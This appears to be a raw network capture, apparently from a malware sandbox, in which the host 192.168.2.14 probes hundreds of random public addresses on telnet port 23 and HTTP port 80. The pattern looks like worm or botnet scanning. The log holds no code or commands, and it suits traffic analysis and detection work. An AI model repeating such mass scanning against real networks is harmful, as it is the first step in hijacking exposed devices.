Oct 14, 2024 17:30:06.883131027 CEST	23	12058	9.30.58.66	192.168.2.14
Oct 14, 2024 17:30:06.883136034 CEST	12058	23	192.168.2.14	208.108.109.204
Oct 14, 2024 17:30:06.883136988 CEST	23	12058	40.149.37.35	192.168.2.14
Oct 14, 2024 17:30:06.883142948 CEST	23	12058	187.139.215.61	192.168.2.14
Oct 14, 2024 17:30:06.883146048 CEST	12058	23	192.168.2.14	48.115.50.1
Oct 14, 2024 17:30:06.883147955 CEST	23	12058	150.99.102.117	192.168.2.14
Oct 14, 2024 17:30:06.883153915 CEST	23	12058	27.78.38.173	192.168.2.14
Oct 14, 2024 17:30:06.883157015 CEST	12058	23	192.168.2.14	130.18.218.137
Oct 14, 2024 17:30:06.883157015 CEST	12058	23	192.168.2.14	124.37.241.209
Oct 14, 2024 17:30:06.883160114 CEST	23	12058	20.151.159.114	192.168.2.14
Oct 14, 2024 17:30:06.883161068 CEST	53274	80	192.168.2.14	205.177.252.169
Oct 14, 2024 17:30:06.883166075 CEST	23	12058	40.137.161.209	192.168.2.14
Oct 14, 2024 17:30:06.883167028 CEST	12058	23	192.168.2.14	9.30.58.66
Oct 14, 2024 17:30:06.883179903 CEST	23	12058	161.13.133.196	192.168.2.14
Oct 14, 2024 17:30:06.883182049 CEST	23	12058	164.70.215.21	192.168.2.14
Oct 14, 2024 17:30:06.883186102 CEST	12058	23	192.168.2.14	40.149.37.35
Oct 14, 2024 17:30:06.883186102 CEST	12058	23	192.168.2.14	27.78.38.173
Oct 14, 2024 17:30:06.883187056 CEST	12058	23	192.168.2.14	66.140.45.169
Oct 14, 2024 17:30:06.883187056 CEST	12058	23	192.168.2.14	116.247.77.200
Oct 14, 2024 17:30:06.883192062 CEST	12058	23	192.168.2.14	150.99.102.117
Oct 14, 2024 17:30:06.883194923 CEST	23	12058	170.15.21.39	192.168.2.14
Oct 14, 2024 17:30:06.883200884 CEST	23	12058	190.73.5.10	192.168.2.14
Oct 14, 2024 17:30:06.883202076 CEST	12058	23	192.168.2.14	187.139.215.61
Oct 14, 2024 17:30:06.883207083 CEST	23	12058	35.174.82.249	192.168.2.14
Oct 14, 2024 17:30:06.883213043 CEST	23	12058	191.8.115.211	192.168.2.14
Oct 14, 2024 17:30:06.883213997 CEST	12058	23	192.168.2.14	20.151.159.114
Oct 14, 2024 17:30:06.883225918 CEST	23	12058	164.230.206.14	192.168.2.14
Oct 14, 2024 17:30:06.883228064 CEST	12058	23	192.168.2.14	161.13.133.196
Oct 14, 2024 17:30:06.883233070 CEST	23	12058	141.40.234.211	192.168.2.14
Oct 14, 2024 17:30:06.883243084 CEST	12058	23	192.168.2.14	164.70.215.21
Oct 14, 2024 17:30:06.883243084 CEST	12058	23	192.168.2.14	170.15.21.39
Oct 14, 2024 17:30:06.883243084 CEST	12058	23	192.168.2.14	190.73.5.10
Oct 14, 2024 17:30:06.883243084 CEST	12058	23	192.168.2.14	35.174.82.249
Oct 14, 2024 17:30:06.883253098 CEST	12058	23	192.168.2.14	141.40.234.211
Oct 14, 2024 17:30:06.883255959 CEST	12058	23	192.168.2.14	40.137.161.209
Oct 14, 2024 17:30:06.883255959 CEST	12058	23	192.168.2.14	191.8.115.211
Oct 14, 2024 17:30:06.883274078 CEST	12058	23	192.168.2.14	164.230.206.14
Oct 14, 2024 17:30:06.883284092 CEST	53274	80	192.168.2.14	95.153.45.68
Oct 14, 2024 17:30:06.883292913 CEST	53274	80	192.168.2.14	122.130.233.97
Oct 14, 2024 17:30:06.883301973 CEST	53274	80	192.168.2.14	2.245.56.195
Oct 14, 2024 17:30:06.883302927 CEST	53274	80	192.168.2.14	34.218.218.190
Oct 14, 2024 17:30:06.883331060 CEST	53274	80	192.168.2.14	9.129.108.25
Oct 14, 2024 17:30:06.883331060 CEST	53274	80	192.168.2.14	220.136.183.200
Oct 14, 2024 17:30:06.883347034 CEST	53274	80	192.168.2.14	147.134.31.42
Oct 14, 2024 17:30:06.883347034 CEST	53274	80	192.168.2.14	64.172.72.195
Oct 14, 2024 17:30:06.883352995 CEST	53274	80	192.168.2.14	93.209.179.120
Oct 14, 2024 17:30:06.883352995 CEST	53274	80	192.168.2.14	64.232.128.71
Oct 14, 2024 17:30:06.883363008 CEST	53274	80	192.168.2.14	197.60.211.31
Oct 14, 2024 17:30:06.883364916 CEST	53274	80	192.168.2.14	58.38.176.1
Oct 14, 2024 17:30:06.883390903 CEST	53274	80	192.168.2.14	143.193.12.170
Oct 14, 2024 17:30:06.883390903 CEST	53274	80	192.168.2.14	81.128.69.228
Oct 14, 2024 17:30:06.883390903 CEST	53274	80	192.168.2.14	47.145.10.111
Oct 14, 2024 17:30:06.883410931 CEST	53274	80	192.168.2.14	107.31.203.251
Oct 14, 2024 17:30:06.883415937 CEST	23	12058	183.30.89.161	192.168.2.14
Oct 14, 2024 17:30:06.883421898 CEST	23	12058	69.154.200.175	192.168.2.14
Oct 14, 2024 17:30:06.883424997 CEST	53274	80	192.168.2.14	173.52.142.198
Oct 14, 2024 17:30:06.883429050 CEST	23	12058	180.153.9.176	192.168.2.14
Oct 14, 2024 17:30:06.883434057 CEST	23	12058	133.166.17.9	192.168.2.14
Oct 14, 2024 17:30:06.883435011 CEST	53274	80	192.168.2.14	204.81.133.251
Oct 14, 2024 17:30:06.883440018 CEST	53274	80	192.168.2.14	99.132.16.101
Oct 14, 2024 17:30:06.883440018 CEST	23	12058	125.59.30.179	192.168.2.14
Oct 14, 2024 17:30:06.883451939 CEST	12058	23	192.168.2.14	183.30.89.161
Oct 14, 2024 17:30:06.883454084 CEST	23	12058	204.252.176.152	192.168.2.14
Oct 14, 2024 17:30:06.883460045 CEST	12058	23	192.168.2.14	133.166.17.9
Oct 14, 2024 17:30:06.883460045 CEST	12058	23	192.168.2.14	69.154.200.175
Oct 14, 2024 17:30:06.883460999 CEST	23	12058	197.208.154.35	192.168.2.14
Oct 14, 2024 17:30:06.883466959 CEST	23	12058	168.4.19.140	192.168.2.14
Oct 14, 2024 17:30:06.883471012 CEST	12058	23	192.168.2.14	180.153.9.176
Oct 14, 2024 17:30:06.883472919 CEST	23	12058	66.13.249.127	192.168.2.14
Oct 14, 2024 17:30:06.883476019 CEST	53274	80	192.168.2.14	124.154.86.38
Oct 14, 2024 17:30:06.883491993 CEST	23	12058	110.6.205.136	192.168.2.14
Oct 14, 2024 17:30:06.883501053 CEST	12058	23	192.168.2.14	197.208.154.35
Oct 14, 2024 17:30:06.883503914 CEST	12058	23	192.168.2.14	204.252.176.152
Oct 14, 2024 17:30:06.883503914 CEST	12058	23	192.168.2.14	66.13.249.127
Oct 14, 2024 17:30:06.883506060 CEST	23	12058	182.173.129.246	192.168.2.14
Oct 14, 2024 17:30:06.883511066 CEST	12058	23	192.168.2.14	168.4.19.140
Oct 14, 2024 17:30:06.883513927 CEST	23	12058	38.231.167.158	192.168.2.14
Oct 14, 2024 17:30:06.883523941 CEST	53274	80	192.168.2.14	57.51.239.38
Oct 14, 2024 17:30:06.883527040 CEST	23	12058	103.195.30.108	192.168.2.14
Oct 14, 2024 17:30:06.883531094 CEST	12058	23	192.168.2.14	110.6.205.136
Oct 14, 2024 17:30:06.883533955 CEST	23	12058	116.217.136.109	192.168.2.14
Oct 14, 2024 17:30:06.883541107 CEST	53274	80	192.168.2.14	24.36.56.100
Oct 14, 2024 17:30:06.883546114 CEST	23	12058	14.159.88.55	192.168.2.14
Oct 14, 2024 17:30:06.883552074 CEST	23	12058	177.150.116.205	192.168.2.14
Oct 14, 2024 17:30:06.883553028 CEST	12058	23	192.168.2.14	125.59.30.179
Oct 14, 2024 17:30:06.883553028 CEST	12058	23	192.168.2.14	38.231.167.158
Oct 14, 2024 17:30:06.883557081 CEST	23	12058	1.170.6.206	192.168.2.14
Oct 14, 2024 17:30:06.883558989 CEST	12058	23	192.168.2.14	182.173.129.246
Oct 14, 2024 17:30:06.883563042 CEST	23	12058	2.107.95.171	192.168.2.14
Oct 14, 2024 17:30:06.883564949 CEST	12058	23	192.168.2.14	103.195.30.108
Oct 14, 2024 17:30:06.883569002 CEST	23	12058	128.196.200.189	192.168.2.14
Oct 14, 2024 17:30:06.883580923 CEST	23	12058	4.233.10.115	192.168.2.14
Oct 14, 2024 17:30:06.883585930 CEST	12058	23	192.168.2.14	14.159.88.55
Oct 14, 2024 17:30:06.883586884 CEST	23	12058	123.12.3.107	192.168.2.14
Oct 14, 2024 17:30:06.883598089 CEST	12058	23	192.168.2.14	177.150.116.205
Oct 14, 2024 17:30:06.883598089 CEST	53274	80	192.168.2.14	17.60.38.16
Oct 14, 2024 17:30:06.883598089 CEST	12058	23	192.168.2.14	1.170.6.206
Oct 14, 2024 17:30:06.883600950 CEST	23	12058	101.215.45.130	192.168.2.14
Oct 14, 2024 17:30:06.883608103 CEST	23	12058	40.251.3.123	192.168.2.14
Oct 14, 2024 17:30:06.883606911 CEST	12058	23	192.168.2.14	116.217.136.109
Oct 14, 2024 17:30:06.883606911 CEST	53274	80	192.168.2.14	58.205.18.61
Oct 14, 2024 17:30:06.883610964 CEST	12058	23	192.168.2.14	2.107.95.171
Oct 14, 2024 17:30:06.883613110 CEST	12058	23	192.168.2.14	128.196.200.189
Oct 14, 2024 17:30:06.883615971 CEST	23	12058	71.135.228.51	192.168.2.14
Oct 14, 2024 17:30:06.883620024 CEST	23	12058	154.239.100.49	192.168.2.14
Oct 14, 2024 17:30:06.883620024 CEST	12058	23	192.168.2.14	4.233.10.115
Oct 14, 2024 17:30:06.883622885 CEST	12058	23	192.168.2.14	123.12.3.107
Oct 14, 2024 17:30:06.883626938 CEST	23	12058	151.247.114.12	192.168.2.14
Oct 14, 2024 17:30:06.883641005 CEST	12058	23	192.168.2.14	101.215.45.130
Oct 14, 2024 17:30:06.883641958 CEST	23	12058	97.103.36.128	192.168.2.14
Oct 14, 2024 17:30:06.883647919 CEST	23	12058	209.34.229.39	192.168.2.14
Oct 14, 2024 17:30:06.883650064 CEST	12058	23	192.168.2.14	40.251.3.123
Oct 14, 2024 17:30:06.883656025 CEST	12058	23	192.168.2.14	71.135.228.51
Oct 14, 2024 17:30:06.883656025 CEST	12058	23	192.168.2.14	151.247.114.12
Oct 14, 2024 17:30:06.883665085 CEST	12058	23	192.168.2.14	154.239.100.49
Oct 14, 2024 17:30:06.883676052 CEST	53274	80	192.168.2.14	218.95.9.46
Oct 14, 2024 17:30:06.883681059 CEST	53274	80	192.168.2.14	191.38.129.100
Oct 14, 2024 17:30:06.883683920 CEST	12058	23	192.168.2.14	97.103.36.128
Oct 14, 2024 17:30:06.883683920 CEST	53274	80	192.168.2.14	138.231.230.126
Oct 14, 2024 17:30:06.883691072 CEST	12058	23	192.168.2.14	209.34.229.39
Oct 14, 2024 17:30:06.883702040 CEST	53274	80	192.168.2.14	178.89.199.224
Oct 14, 2024 17:30:06.883721113 CEST	53274	80	192.168.2.14	131.8.68.95
Oct 14, 2024 17:30:06.883737087 CEST	53274	80	192.168.2.14	157.24.147.213
Oct 14, 2024 17:30:06.883748055 CEST	53274	80	192.168.2.14	4.66.154.127
Oct 14, 2024 17:30:06.883748055 CEST	53274	80	192.168.2.14	151.12.227.36
Oct 14, 2024 17:30:06.883749962 CEST	53274	80	192.168.2.14	212.82.119.127
Oct 14, 2024 17:30:06.883764029 CEST	53274	80	192.168.2.14	170.36.103.124
Oct 14, 2024 17:30:06.883766890 CEST	53274	80	192.168.2.14	107.156.222.153
Oct 14, 2024 17:30:06.883766890 CEST	53274	80	192.168.2.14	135.77.165.238
Oct 14, 2024 17:30:06.883769989 CEST	53274	80	192.168.2.14	84.192.34.11
Oct 14, 2024 17:30:06.883779049 CEST	23	12058	113.86.101.254	192.168.2.14
Oct 14, 2024 17:30:06.883779049 CEST	53274	80	192.168.2.14	59.186.214.225
Oct 14, 2024 17:30:06.883785963 CEST	23	12058	70.105.22.141	192.168.2.14
Oct 14, 2024 17:30:06.883791924 CEST	23	12058	45.174.52.105	192.168.2.14
Oct 14, 2024 17:30:06.883790970 CEST	53274	80	192.168.2.14	179.239.96.96
Oct 14, 2024 17:30:06.883795977 CEST	53274	80	192.168.2.14	86.168.42.243
Oct 14, 2024 17:30:06.883796930 CEST	23	12058	104.158.105.16	192.168.2.14
Oct 14, 2024 17:30:06.883807898 CEST	53274	80	192.168.2.14	223.110.174.12
Oct 14, 2024 17:30:06.883809090 CEST	23	12058	87.159.61.49	192.168.2.14
Oct 14, 2024 17:30:06.883811951 CEST	23	12058	134.197.22.25	192.168.2.14
Oct 14, 2024 17:30:06.883816004 CEST	23	12058	25.93.216.8	192.168.2.14
Oct 14, 2024 17:30:06.883826017 CEST	12058	23	192.168.2.14	45.174.52.105
Oct 14, 2024 17:30:06.883827925 CEST	12058	23	192.168.2.14	113.86.101.254
Oct 14, 2024 17:30:06.883829117 CEST	23	12058	108.50.152.159	192.168.2.14
Oct 14, 2024 17:30:06.883830070 CEST	12058	23	192.168.2.14	104.158.105.16
Oct 14, 2024 17:30:06.883833885 CEST	12058	23	192.168.2.14	70.105.22.141
Oct 14, 2024 17:30:06.883836031 CEST	23	12058	35.245.47.93	192.168.2.14
Oct 14, 2024 17:30:06.883842945 CEST	23	12058	204.6.173.1	192.168.2.14
Oct 14, 2024 17:30:06.883848906 CEST	23	12058	45.59.10.98	192.168.2.14
Oct 14, 2024 17:30:06.883851051 CEST	12058	23	192.168.2.14	87.159.61.49
Oct 14, 2024 17:30:06.883853912 CEST	23	12058	14.177.61.150	192.168.2.14
Oct 14, 2024 17:30:06.883860111 CEST	53274	80	192.168.2.14	222.151.156.97
Oct 14, 2024 17:30:06.883861065 CEST	23	12058	37.182.134.151	192.168.2.14
Oct 14, 2024 17:30:06.883866072 CEST	23	12058	182.60.152.105	192.168.2.14
Oct 14, 2024 17:30:06.883873940 CEST	12058	23	192.168.2.14	134.197.22.25
Oct 14, 2024 17:30:06.883873940 CEST	53274	80	192.168.2.14	118.61.203.172
Oct 14, 2024 17:30:06.883877993 CEST	53274	80	192.168.2.14	88.136.123.62
Oct 14, 2024 17:30:06.883877993 CEST	12058	23	192.168.2.14	204.6.173.1
Oct 14, 2024 17:30:06.883882046 CEST	53274	80	192.168.2.14	202.173.7.193
Oct 14, 2024 17:30:06.883884907 CEST	23	12058	192.179.79.254	192.168.2.14
Oct 14, 2024 17:30:06.883884907 CEST	12058	23	192.168.2.14	108.50.152.159
Oct 14, 2024 17:30:06.883884907 CEST	12058	23	192.168.2.14	35.245.47.93
Oct 14, 2024 17:30:06.883884907 CEST	12058	23	192.168.2.14	45.59.10.98
Oct 14, 2024 17:30:06.883884907 CEST	12058	23	192.168.2.14	14.177.61.150
Oct 14, 2024 17:30:06.883891106 CEST	23	12058	2.4.227.218	192.168.2.14
Oct 14, 2024 17:30:06.883898020 CEST	23	12058	179.111.43.68	192.168.2.14
Oct 14, 2024 17:30:06.883899927 CEST	12058	23	192.168.2.14	37.182.134.151
Oct 14, 2024 17:30:06.883899927 CEST	53274	80	192.168.2.14	200.162.5.76
Oct 14, 2024 17:30:06.883903027 CEST	23	12058	74.153.81.52	192.168.2.14
Oct 14, 2024 17:30:06.883903980 CEST	53274	80	192.168.2.14	5.125.54.148
Oct 14, 2024 17:30:06.883903980 CEST	53274	80	192.168.2.14	5.248.130.96
Oct 14, 2024 17:30:06.883908987 CEST	23	12058	107.64.85.81	192.168.2.14
Oct 14, 2024 17:30:06.883908987 CEST	12058	23	192.168.2.14	182.60.152.105
Oct 14, 2024 17:30:06.883908987 CEST	53274	80	192.168.2.14	102.254.206.196
Oct 14, 2024 17:30:06.883918047 CEST	12058	23	192.168.2.14	192.179.79.254
Oct 14, 2024 17:30:06.883922100 CEST	23	12058	46.3.93.65	192.168.2.14
Oct 14, 2024 17:30:06.883927107 CEST	23	12058	182.21.206.218	192.168.2.14
Oct 14, 2024 17:30:06.883929014 CEST	12058	23	192.168.2.14	2.4.227.218
Oct 14, 2024 17:30:06.883929014 CEST	12058	23	192.168.2.14	25.93.216.8
Oct 14, 2024 17:30:06.883930922 CEST	12058	23	192.168.2.14	179.111.43.68
Oct 14, 2024 17:30:06.883933067 CEST	23	12058	137.143.105.150	192.168.2.14
Oct 14, 2024 17:30:06.883939028 CEST	23	12058	87.71.226.183	192.168.2.14
Oct 14, 2024 17:30:06.883944988 CEST	12058	23	192.168.2.14	74.153.81.52
Oct 14, 2024 17:30:06.883944988 CEST	23	12058	167.202.26.228	192.168.2.14
Oct 14, 2024 17:30:06.883949041 CEST	12058	23	192.168.2.14	46.3.93.65
Oct 14, 2024 17:30:06.883949995 CEST	23	12058	104.156.25.65	192.168.2.14
Oct 14, 2024 17:30:06.883950949 CEST	53274	80	192.168.2.14	49.38.158.98
Oct 14, 2024 17:30:06.883950949 CEST	12058	23	192.168.2.14	182.21.206.218
Oct 14, 2024 17:30:06.883956909 CEST	23	12058	19.3.12.81	192.168.2.14
Oct 14, 2024 17:30:06.883963108 CEST	23	12058	85.149.27.74	192.168.2.14
Oct 14, 2024 17:30:06.883964062 CEST	12058	23	192.168.2.14	107.64.85.81
Oct 14, 2024 17:30:06.883975029 CEST	12058	23	192.168.2.14	137.143.105.150
Oct 14, 2024 17:30:06.883975983 CEST	23	12058	198.21.48.149	192.168.2.14
Oct 14, 2024 17:30:06.883981943 CEST	12058	23	192.168.2.14	104.156.25.65
Oct 14, 2024 17:30:06.883984089 CEST	12058	23	192.168.2.14	87.71.226.183
Oct 14, 2024 17:30:06.883984089 CEST	12058	23	192.168.2.14	167.202.26.228
Oct 14, 2024 17:30:06.884006023 CEST	12058	23	192.168.2.14	19.3.12.81
Oct 14, 2024 17:30:06.884010077 CEST	12058	23	192.168.2.14	85.149.27.74
Oct 14, 2024 17:30:06.884052992 CEST	12058	23	192.168.2.14	198.21.48.149
Oct 14, 2024 17:30:06.884052992 CEST	53274	80	192.168.2.14	216.102.104.129
Oct 14, 2024 17:30:06.884054899 CEST	53274	80	192.168.2.14	52.47.186.5
Oct 14, 2024 17:30:06.884056091 CEST	53274	80	192.168.2.14	46.95.5.185
Oct 14, 2024 17:30:06.884068012 CEST	53274	80	192.168.2.14	166.119.103.8
Oct 14, 2024 17:30:06.884068012 CEST	53274	80	192.168.2.14	14.124.70.232
Oct 14, 2024 17:30:06.884087086 CEST	23	12058	59.114.129.161	192.168.2.14
Oct 14, 2024 17:30:06.884092093 CEST	53274	80	192.168.2.14	1.213.112.129
Oct 14, 2024 17:30:06.884093046 CEST	53274	80	192.168.2.14	222.216.215.233
Oct 14, 2024 17:30:06.884094000 CEST	23	12058	13.92.184.22	192.168.2.14
Oct 14, 2024 17:30:06.884099007 CEST	23	12058	68.224.13.94	192.168.2.14
Oct 14, 2024 17:30:06.884114027 CEST	53274	80	192.168.2.14	208.91.15.34
Oct 14, 2024 17:30:06.884114027 CEST	53274	80	192.168.2.14	36.23.12.68
Oct 14, 2024 17:30:06.884118080 CEST	53274	80	192.168.2.14	135.230.39.187
Oct 14, 2024 17:30:06.884128094 CEST	12058	23	192.168.2.14	59.114.129.161
Oct 14, 2024 17:30:06.884131908 CEST	12058	23	192.168.2.14	13.92.184.22
Oct 14, 2024 17:30:06.884133101 CEST	23	12058	149.188.115.52	192.168.2.14
Oct 14, 2024 17:30:06.884150028 CEST	23	12058	20.2.160.33	192.168.2.14
Oct 14, 2024 17:30:06.884155989 CEST	23	12058	86.140.91.82	192.168.2.14
Oct 14, 2024 17:30:06.884161949 CEST	23	12058	132.120.125.189	192.168.2.14
Oct 14, 2024 17:30:06.884162903 CEST	53274	80	192.168.2.14	153.121.241.205
Oct 14, 2024 17:30:06.884162903 CEST	53274	80	192.168.2.14	84.45.11.254
Oct 14, 2024 17:30:06.884171009 CEST	53274	80	192.168.2.14	150.183.219.221
Oct 14, 2024 17:30:06.884171963 CEST	53274	80	192.168.2.14	109.1.212.25
Oct 14, 2024 17:30:06.884175062 CEST	23	12058	159.20.244.229	192.168.2.14
Oct 14, 2024 17:30:06.884181976 CEST	23	12058	222.191.18.34	192.168.2.14
Oct 14, 2024 17:30:06.884181976 CEST	12058	23	192.168.2.14	68.224.13.94
Oct 14, 2024 17:30:06.884181976 CEST	53274	80	192.168.2.14	118.80.19.11
Oct 14, 2024 17:30:06.884181976 CEST	12058	23	192.168.2.14	20.2.160.33
Oct 14, 2024 17:30:06.884195089 CEST	23	12058	218.230.130.16	192.168.2.14
Oct 14, 2024 17:30:06.884196997 CEST	12058	23	192.168.2.14	132.120.125.189
Oct 14, 2024 17:30:06.884201050 CEST	23	12058	78.112.21.3	192.168.2.14
Oct 14, 2024 17:30:06.884207964 CEST	23	12058	177.184.123.139	192.168.2.14
Oct 14, 2024 17:30:06.884215117 CEST	23	12058	168.2.173.85	192.168.2.14
Oct 14, 2024 17:30:06.884219885 CEST	23	12058	192.80.86.105	192.168.2.14
Oct 14, 2024 17:30:06.884218931 CEST	12058	23	192.168.2.14	86.140.91.82
Oct 14, 2024 17:30:06.884224892 CEST	53274	80	192.168.2.14	25.96.94.154
Oct 14, 2024 17:30:06.884233952 CEST	12058	23	192.168.2.14	149.188.115.52
Oct 14, 2024 17:30:06.884226084 CEST	23	12058	196.202.82.244	192.168.2.14
Oct 14, 2024 17:30:06.884229898 CEST	12058	23	192.168.2.14	78.112.21.3
Oct 14, 2024 17:30:06.884233952 CEST	12058	23	192.168.2.14	159.20.244.229
Oct 14, 2024 17:30:06.884229898 CEST	12058	23	192.168.2.14	218.230.130.16
Oct 14, 2024 17:30:06.884233952 CEST	12058	23	192.168.2.14	222.191.18.34
Oct 14, 2024 17:30:06.884244919 CEST	23	12058	92.26.253.205	192.168.2.14
Oct 14, 2024 17:30:06.884251118 CEST	53274	80	192.168.2.14	138.20.242.68
Oct 14, 2024 17:30:06.884253025 CEST	23	12058	154.152.32.228	192.168.2.14
Oct 14, 2024 17:30:06.884259939 CEST	12058	23	192.168.2.14	177.184.123.139
Oct 14, 2024 17:30:06.884262085 CEST	23	12058	5.58.83.22	192.168.2.14
Oct 14, 2024 17:30:06.884259939 CEST	12058	23	192.168.2.14	168.2.173.85
Oct 14, 2024 17:30:06.884263992 CEST	12058	23	192.168.2.14	196.202.82.244
Oct 14, 2024 17:30:06.884268045 CEST	23	12058	143.190.197.134	192.168.2.14
Oct 14, 2024 17:30:06.884274006 CEST	23	12058	174.81.148.67	192.168.2.14
Oct 14, 2024 17:30:06.884277105 CEST	53274	80	192.168.2.14	198.165.226.16
Oct 14, 2024 17:30:06.884277105 CEST	12058	23	192.168.2.14	192.80.86.105
Oct 14, 2024 17:30:06.884278059 CEST	53274	80	192.168.2.14	132.245.213.83
Oct 14, 2024 17:30:06.884278059 CEST	12058	23	192.168.2.14	92.26.253.205
Oct 14, 2024 17:30:06.884287119 CEST	53274	80	192.168.2.14	43.12.145.157
Oct 14, 2024 17:30:06.884288073 CEST	12058	23	192.168.2.14	154.152.32.228
Oct 14, 2024 17:30:06.884289980 CEST	23	12058	123.128.36.172	192.168.2.14
Oct 14, 2024 17:30:06.884294987 CEST	12058	23	192.168.2.14	5.58.83.22
Oct 14, 2024 17:30:06.884296894 CEST	23	12058	170.229.66.71	192.168.2.14
Oct 14, 2024 17:30:06.884303093 CEST	23	12058	86.130.17.231	192.168.2.14
Oct 14, 2024 17:30:06.884306908 CEST	53274	80	192.168.2.14	94.153.29.110
Oct 14, 2024 17:30:06.884308100 CEST	23	12058	203.216.133.23	192.168.2.14
Oct 14, 2024 17:30:06.884310007 CEST	12058	23	192.168.2.14	143.190.197.134
Oct 14, 2024 17:30:06.884313107 CEST	12058	23	192.168.2.14	174.81.148.67
Oct 14, 2024 17:30:06.884315014 CEST	23	12058	69.112.156.75	192.168.2.14
Oct 14, 2024 17:30:06.884327888 CEST	23	12058	172.58.27.217	192.168.2.14
Oct 14, 2024 17:30:06.884336948 CEST	23	12058	187.130.95.64	192.168.2.14
Oct 14, 2024 17:30:06.884336948 CEST	12058	23	192.168.2.14	170.229.66.71
Oct 14, 2024 17:30:06.884350061 CEST	23	12058	134.111.36.138	192.168.2.14
Oct 14, 2024 17:30:06.884351015 CEST	12058	23	192.168.2.14	86.130.17.231
Oct 14, 2024 17:30:06.884351015 CEST	53274	80	192.168.2.14	49.204.98.200
Oct 14, 2024 17:30:06.884352922 CEST	12058	23	192.168.2.14	203.216.133.23
Oct 14, 2024 17:30:06.884355068 CEST	53274	80	192.168.2.14	46.79.245.39
Oct 14, 2024 17:30:06.884361029 CEST	53274	80	192.168.2.14	166.133.56.255
Oct 14, 2024 17:30:06.884361029 CEST	12058	23	192.168.2.14	69.112.156.75
Oct 14, 2024 17:30:06.884368896 CEST	12058	23	192.168.2.14	123.128.36.172
Oct 14, 2024 17:30:06.884370089 CEST	53274	80	192.168.2.14	9.177.216.58
Oct 14, 2024 17:30:06.884382010 CEST	12058	23	192.168.2.14	172.58.27.217
Oct 14, 2024 17:30:06.884399891 CEST	53274	80	192.168.2.14	89.8.176.18
Oct 14, 2024 17:30:06.884411097 CEST	12058	23	192.168.2.14	134.111.36.138
Oct 14, 2024 17:30:06.884413004 CEST	12058	23	192.168.2.14	187.130.95.64
Oct 14, 2024 17:30:06.884418964 CEST	23	12058	23.3.142.157	192.168.2.14
Oct 14, 2024 17:30:06.884426117 CEST	23	12058	158.53.220.120	192.168.2.14
Oct 14, 2024 17:30:06.884433031 CEST	23	12058	70.220.128.134	192.168.2.14
Oct 14, 2024 17:30:06.884433985 CEST	53274	80	192.168.2.14	38.88.194.173
Oct 14, 2024 17:30:06.884433985 CEST	53274	80	192.168.2.14	44.78.24.6
Oct 14, 2024 17:30:06.884440899 CEST	23	12058	153.83.241.119	192.168.2.14
Oct 14, 2024 17:30:06.884443045 CEST	53274	80	192.168.2.14	40.190.34.181
Oct 14, 2024 17:30:06.884447098 CEST	23	12058	171.68.202.151	192.168.2.14
Oct 14, 2024 17:30:06.884453058 CEST	23	12058	200.32.91.185	192.168.2.14
Oct 14, 2024 17:30:06.884455919 CEST	53274	80	192.168.2.14	219.141.205.69
Oct 14, 2024 17:30:06.884455919 CEST	12058	23	192.168.2.14	23.3.142.157
Oct 14, 2024 17:30:06.884458065 CEST	23	12058	84.212.186.125	192.168.2.14
Oct 14, 2024 17:30:06.884475946 CEST	12058	23	192.168.2.14	171.68.202.151
Oct 14, 2024 17:30:06.884483099 CEST	23	12058	182.177.51.199	192.168.2.14
Oct 14, 2024 17:30:06.884484053 CEST	12058	23	192.168.2.14	70.220.128.134
Oct 14, 2024 17:30:06.884484053 CEST	12058	23	192.168.2.14	158.53.220.120
Oct 14, 2024 17:30:06.884484053 CEST	12058	23	192.168.2.14	153.83.241.119
Oct 14, 2024 17:30:06.884489059 CEST	23	12058	158.147.22.60	192.168.2.14
Oct 14, 2024 17:30:06.884495974 CEST	23	12058	170.77.226.10	192.168.2.14
Oct 14, 2024 17:30:06.884497881 CEST	12058	23	192.168.2.14	84.212.186.125
Oct 14, 2024 17:30:06.884501934 CEST	23	12058	151.90.142.103	192.168.2.14
Oct 14, 2024 17:30:06.884507895 CEST	12058	23	192.168.2.14	200.32.91.185
Oct 14, 2024 17:30:06.884514093 CEST	23	12058	218.104.21.231	192.168.2.14
Oct 14, 2024 17:30:06.884522915 CEST	23	12058	143.105.184.117	192.168.2.14
Oct 14, 2024 17:30:06.884524107 CEST	12058	23	192.168.2.14	182.177.51.199
Oct 14, 2024 17:30:06.884529114 CEST	23	12058	117.236.108.25	192.168.2.14
Oct 14, 2024 17:30:06.884536028 CEST	23	12058	104.119.106.31	192.168.2.14
Oct 14, 2024 17:30:06.884538889 CEST	12058	23	192.168.2.14	158.147.22.60
Oct 14, 2024 17:30:06.884538889 CEST	53274	80	192.168.2.14	107.38.164.145
Oct 14, 2024 17:30:06.884541988 CEST	23	12058	89.45.163.246	192.168.2.14
Oct 14, 2024 17:30:06.884547949 CEST	23	12058	51.164.7.69	192.168.2.14
Oct 14, 2024 17:30:06.884558916 CEST	12058	23	192.168.2.14	170.77.226.10
Oct 14, 2024 17:30:06.884558916 CEST	53274	80	192.168.2.14	168.217.40.196
Oct 14, 2024 17:30:06.884561062 CEST	23	12058	37.155.68.2	192.168.2.14
Oct 14, 2024 17:30:06.884563923 CEST	53274	80	192.168.2.14	94.115.148.244
Oct 14, 2024 17:30:06.884566069 CEST	12058	23	192.168.2.14	218.104.21.231
Oct 14, 2024 17:30:06.884567022 CEST	23	12058	158.182.242.161	192.168.2.14
Oct 14, 2024 17:30:06.884572983 CEST	23	12058	120.92.98.8	192.168.2.14
Oct 14, 2024 17:30:06.884578943 CEST	23	12058	89.218.183.12	192.168.2.14
Oct 14, 2024 17:30:06.884581089 CEST	12058	23	192.168.2.14	143.105.184.117
Oct 14, 2024 17:30:06.884582043 CEST	53274	80	192.168.2.14	115.82.209.62
Oct 14, 2024 17:30:06.884581089 CEST	12058	23	192.168.2.14	117.236.108.25
Oct 14, 2024 17:30:06.884582996 CEST	53274	80	192.168.2.14	147.21.212.168
Oct 14, 2024 17:30:06.884584904 CEST	23	12058	120.12.113.172	192.168.2.14
Oct 14, 2024 17:30:06.884584904 CEST	12058	23	192.168.2.14	151.90.142.103
Oct 14, 2024 17:30:06.884584904 CEST	12058	23	192.168.2.14	89.45.163.246
Oct 14, 2024 17:30:06.884589911 CEST	12058	23	192.168.2.14	104.119.106.31
Oct 14, 2024 17:30:06.884589911 CEST	12058	23	192.168.2.14	51.164.7.69
Oct 14, 2024 17:30:06.884594917 CEST	12058	23	192.168.2.14	37.155.68.2
Oct 14, 2024 17:30:06.884599924 CEST	23	12058	131.99.188.92	192.168.2.14
Oct 14, 2024 17:30:06.884602070 CEST	12058	23	192.168.2.14	158.182.242.161
Oct 14, 2024 17:30:06.884605885 CEST	12058	23	192.168.2.14	120.92.98.8
